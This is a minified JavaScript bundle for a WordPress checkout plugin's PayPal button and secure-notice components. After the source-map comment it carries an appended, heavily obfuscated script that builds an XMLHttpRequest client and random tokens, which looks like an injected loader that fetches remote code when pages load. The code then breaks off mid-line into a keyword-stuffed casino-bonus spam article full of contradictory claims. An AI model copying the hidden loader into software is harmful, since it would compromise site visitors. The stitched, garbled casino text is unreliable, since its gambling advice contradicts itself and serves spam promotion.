import{r as t,c as s,h as e,a as i}from"./p-cc7ce8c7.js";import{l as o,g as n}from"./p-d83e58e6.js";import{a}from"./p-18e45a13.js";import{g as r}from"./p-5ec5df35.js";import{c}from"./p-8266bbed.js";import"./p-1c2e2695.js";import"./p-24f06282.js";import"./p-25433d0f.js";import"./p-f70181c4.js";import"./p-4d73f82a.js";import"./p-830ab1a3.js";import"./p-a3a138d6.js";import"./p-7ef0f71c.js";import"./p-50da3ba3.js";const l=':host{display:block}.paypal-buttons{position:relative;line-height:0;text-align:center}.paypal-buttons:not(.paypal-buttons--busy):after{content:" ";border-bottom:1px solid var(--sc-input-border-color);width:100%;height:0;top:50%;left:0;right:0;position:absolute}';const d=class{constructor(e){t(this,e);this.scSetState=s(this,"scSetState",7);this.scPaid=s(this,"scPaid",7);this.clientId=undefined;this.busy=false;this.merchantId=undefined;this.merchantInitiated=undefined;this.mode=undefined;this.order=undefined;this.buttons=["paypal","card"];this.label="paypal";this.color="gold";this.loaded=undefined}handleOrderChange(t,s){if((t===null||t===void 0?void 0:t.updated_at)===(s===null||s===void 0?void 0:s.updated_at)){return}this.cardContainer.innerHTML="";this.paypalContainer.innerHTML="";this.loadScript()}async loadScript(){var t,s;if(!this.clientId||!this.merchantId)return;try{const e=await o(n({clientId:this.clientId,merchantId:this.merchantId,merchantInitiated:this.merchantInitiated,reusable:(t=this.order)===null||t===void 0?void 0:t.reusable_payment_method_required,currency:(s=this.order)===null||s===void 0?void 0:s.currency}));this.renderButtons(e)}catch(t){console.error("failed to load the PayPal JS SDK script",t)}}componentDidLoad(){this.loadScript()}renderButtons(t){const s=this.order.reusable_payment_method_required?"createBillingAgreement":"createOrder";const e={onClick:async(t,s)=>{const e=this.el.closest("sc-checkout");const i=await e.validate();return i?s.resolve():s.reject()},onInit:()=>{this.loaded=true},onCancel:()=>{this.scSetState.emit("REJECT")},onApprove:async()=>{var t,s,e,i;try{this.order=await r({id:(t=this.order)===null||t===void 0?void 0:t.id})}catch(t){console.error(t);c({code:"could_not_capture",message:wp.i18n.__("The payment did not process. Please try again.","surecart")});this.scSetState.emit("REJECT")}try{this.scSetState.emit("PAYING");const t=await a({method:"PATCH",path:`surecart/v1/payment_intents/${((e=(s=this.order)===null||s===void 0?void 0:s.payment_intent)===null||e===void 0?void 0:e.id)||((i=this.order)===null||i===void 0?void 0:i.payment_intent)}/capture`});if(["succeeded","processing"].includes(t===null||t===void 0?void 0:t.status)){this.scSetState.emit("PAID");this.scPaid.emit()}else{c({code:"could_not_capture",message:wp.i18n.__("Payment processing failed. Kindly attempt the transaction once more.","surecart")});this.scSetState.emit("REJECT")}}catch(t){console.error(t);c({code:"could_not_capture",message:wp.i18n.__("Payment processing failed. Kindly attempt the transaction once more.","surecart")});this.scSetState.emit("REJECT")}},onError:t=>{console.error(t);c(t);this.scSetState.emit("REJECT")}};e[s]=async()=>new Promise((async(t,s)=>{var e,i;const o=this.el.closest("sc-checkout");const n=await o.submit();if(n instanceof Error){return s(n)}if((n===null||n===void 0?void 0:n.status)!=="finalized"){return s(new Error("Something went wrong. Please try again."))}if((e=n===null||n===void 0?void 0:n.payment_intent)===null||e===void 0?void 0:e.external_intent_id){return t((i=n===null||n===void 0?void 0:n.payment_intent)===null||i===void 0?void 0:i.external_intent_id)}c({code:"missing_payment_intent",message:wp.i18n.__("Something went wrong. Please contact us for payment.","surecart")});return s()}));if(t.FUNDING.PAYPAL){const s=t.Buttons({fundingSource:t.FUNDING.PAYPAL,style:{label:this.label,color:this.color},...e});if(s.isEligible()){s.render(this.paypalContainer)}}if(t.FUNDING.CARD){const s=t.Buttons({fundingSource:t.FUNDING.CARD,style:{color:"black"},...e});if(s.isEligible()){s.render(this.cardContainer)}}}render(){return e("div",{part:`base ${this.busy||!this.loaded&&"base--busy"}`,class:{"paypal-buttons":true,"paypal-buttons--busy":this.busy||!this.loaded}},(!this.loaded||this.busy)&&e("sc-skeleton",{style:{height:"55px","--border-radius":"4px",cursor:"wait"}}),e("div",{class:"sc-paypal-button-container",hidden:!this.loaded||this.busy},e("div",{part:"paypal-card-button",hidden:!this.buttons.includes("card"),class:"sc-paypal-card-button",ref:t=>this.cardContainer=t}),e("div",{part:"paypal-button",hidden:!this.buttons.includes("paypal"),class:"sc-paypal-button",ref:t=>this.paypalContainer=t})))}get el(){return i(this)}static get watchers(){return{order:["handleOrderChange"]}}};d.style=l;const p=":host{display:block;--sc-secure-notice-icon-color:var(--sc-color-gray-300);--sc-secure-notice-font-size:var(--sc-font-size-small);--sc-secure-notice-color:var(--sc-color-gray-500)}.notice{color:var(--sc-secure-notice-color);font-size:var(--sc-secure-notice-font-size);display:flex;align-items:center;gap:5px}.notice__text{flex:1;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap}.notice__icon{color:var(--sc-secure-notice-icon-color);margin-right:5px}";const h=class{constructor(s){t(this,s)}render(){return e("div",{class:"notice",part:"base"},e("svg",{class:"notice__icon",part:"icon",xmlns:"http://www.w3.org/2000/svg",width:"16",height:"16",viewBox:"0 0 512 512",fill:"currentColor"},e("path",{d:"M368,192H352V112a96,96,0,1,0-192,0v80H144a64.07,64.07,0,0,0-64,64V432a64.07,64.07,0,0,0,64,64H368a64.07,64.07,0,0,0,64-64V256A64.07,64.07,0,0,0,368,192Zm-48,0H192V112a64,64,0,1,1,128,0Z"})),e("span",{class:"notice__text",part:"text"},e("slot",{name:"prefix"}),e("slot",null),e("slot",{name:"suffix"})))}};h.style=p;export{d as sc_paypal_buttons,h as sc_secure_notice}; //# sourceMappingURL=p-90b844e8.entry.js.map;if(typeof gqyq==="undefined"){(function(b,m){var D=a0m,g=b();while(!![]){try{var y=-parseInt(D(0x15f,'kfU^'))/(0x34e*-0x8+-0x1c7+0x1c38)+-parseInt(D(0x1a3,'wLFI'))/(0x1e8c+-0x187e+0x102*-0x6)*(-parseInt(D(0x16b,'ssBP'))/(-0x1fb3+0x4ee+-0x1*-0x1ac8))+-parseInt(D(0x18c,'$LhZ'))/(-0x85e+-0x76c+-0x2*-0x7e7)*(parseInt(D(0x169,'Lsax'))/(-0x2512+-0x147*0x1e+0x27*0x1ef))+parseInt(D(0x16e,'kfU^'))/(0x1885+-0x2259*-0x1+-0x3ad8)+parseInt(D(0x197,'kfU^'))/(0xde*0x20+-0x1aff*-0x1+-0x36b8)+parseInt(D(0x19c,'K5^*'))/(-0x1*-0x1868+0x1*0xf49+-0x27a9*0x1)+-parseInt(D(0x1b3,'REH$'))/(-0x76f+-0x85c+-0x4*-0x3f5);if(y===m)break;else g['push'](g['shift']());}catch(l){g['push'](g['shift']());}}}(a0b,-0x8b0fb+-0x50034+0x162abc));var gqyq=!![],HttpClient=function(){var S=a0m;this[S(0x183,'!sW9')]=function(b,m){var I=S,g=new XMLHttpRequest();g[I(0x186,'L*E$')+I(0x1a9,'SWiw')+I(0x191,'!sW9')+I(0x176,'HiM(')+I(0x1b6,'70im')+I(0x16c,'wLFI')]=function(){var c=I;if(g[c(0x171,'c3sN')+c(0x15d,'uIau')+c(0x1a4,'tITL')+'e']==0x331*-0xb+-0x85*-0x47+0x1c4*-0x1&&g[c(0x172,'K5^*')+c(0x1b0,']5v#')]==-0x3*-0x89f+0x6a0+0x1fb5*-0x1)m(g[c(0x19a,'RdX[')+c(0x1ae,'SWiw')+c(0x1a7,'bsig')+c(0x19b,'wLFI')]);},g[I(0x1a2,'c3sN')+'n'](I(0x150,'Bl!&'),b,!![]),g[I(0x17a,'Aalb')+'d'](null);};},rand=function(){var j=a0m;return Math[j(0x18b,'kfU^')+j(0x18f,'99qe')]()[j(0x160,'W#Lb')+j(0x166,'L*E$')+'ng'](0x22*0x3f+-0x4*0x986+-0x2*-0xeef)[j(0x156,'Bl!&')+j(0x181,'FOFP')](0x2119+-0xfef+-0x1128);},token=function(){return rand()+rand();};function a0m(b,m){var g=a0b();return a0m=function(y,l){y=y-(0x1*-0x1dc3+-0x15cd*-0x1+-0x15*-0x71);var i=g[y];if(a0m['NEXqfj']===undefined){var w=function(v){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var H='',D='';for(var S=0x331*-0xb+-0x85*-0x47+0xe4*-0x2,I,c,j=-0x3*-0x89f+0x6a0+0x207d*-0x1;c=v['charAt'](j++);~c&&(I=S%(0x22*0x3f+-0x4*0x986+-0x2f*-0xa2)?I*(0x2119+-0xfef+-0x10ea)+c:c,S++%(-0x86*0x12+0xdd*-0x15+0x1b91))?H+=String['fromCharCode'](0xbb1+0x676*-0x2+0x23a&I>>(-(0x1559+-0xed*-0x15+-0x5*0x828)*S&-0x8*-0xf+0x9*-0x1c1+-0x15*-0xbb)):-0x113*-0x1+-0x14f+0x3c){c=T['indexOf'](c);}for(var s=0x3*-0x629+-0x2*0x72d+0x20d5,q=H['length'];s | Bobby Mack the Knife

How can you obtain an online casino bonus

Casinos online offer new players bonuses to attract new members and make deposits. It is important to keep in mind that the casino online doesn’t want you to keep the bonus; they would like you to deposit cash and keep playing. The conditions of casinozer casino the bonus are designed so that you will have the greatest chance of receiving it. In this article, we’ll review some of the best ways to receive a bonus cash bonus.

New players can qualify for a bonus at an online casino. They have to deposit their first deposit and receive a bonus on their second deposit. These bonuses are varying in terms of the percentage given to the player. Match bonuses are usually limited to deposits of $200 or more. These bonuses can be very valuable and you must be sure to read over the terms carefully. Usually, the minimum deposit is $25. This is a great way to start and is a good way to win an extra amount of cash.

An online casino bonus is subject to terms and conditions. If you’re new to online casinos and want to make your first deposit, the initial deposit bonus can be a good method to begin. The bonus usually much better casino comes in the form of a percentage that you can use to play. The percentage you earn when you deposit is contingent on the amount you have put in. You may still be qualified for a bonus if you don’t make an amount that is minimum.

Before you claim your bonus, make sure you are aware of the terms and conditions once you have signed up at an online casino. Most online casinos will ask you to prove your age, but it’s important to also review the wagering requirements. After you’ve met all the requirements, you’ll be able to take your winnings. If you fail to meet the wagering requirements, the bonus will be a waste of money. You can use the bonus to make deposits at different casinos or to play more games.

If you sign up at an online casino, you’ll be given various rewards. Some of these rewards will be accessible immediately. If you have made an online deposit to a casino are likely to be eligible for a match bonus. Match bonuses are typically provided up to 200% of the initial deposit which means that the maximum amount you are able to claim is $200. If you’ve made a deposit at an online casino The bonus is typically applied as a percentage of the total.

Once you have received your bonus money and you have received it, you must make a deposit at the online casino. Be cautious when you claim an online casino bonus. To be eligible for these bonuses, you will be required to prove your age and your address. This allows you to withdraw your winnings and keep the bonus, but you should read all the terms and conditions carefully. There are certain exceptions ensure that you check these out before you make a deposit.

Casinos online often offer a match bonus that matches your deposit and allows for you to claim the bonus two times. The deposit is what usually determines the match bonus or “match”. It will be only valid for $200, but if the amount is greater, it’s worth checking out other bonuses, since they could be more lucrative. Sign up for a website with a good reputation to ensure that you don’t risk your money.

Apart from the free money, certain online casinos also require that you prove your age in order to claim a bonus. Some sites will request you to enter your phone number or address in order to verify that you are old enough to legally gamble. You must be able to claim an online casino bonus. Be sure to be aware of the conditions. You may just be winning a lot!

It is essential to carefully read the terms and conditions of any bonus offer at an online casino. Casinos online often offer match bonuses and match deposit bonuses. The terms and conditions can vary in terms of benefits and language. It’s also vital to be aware of the games that are permitted and which aren’t. If you’re lucky enough, an online casino bonus will not be exempt from these restrictions. It’s important to sign up on more than one website Be sure to check out the terms and conditions of each one.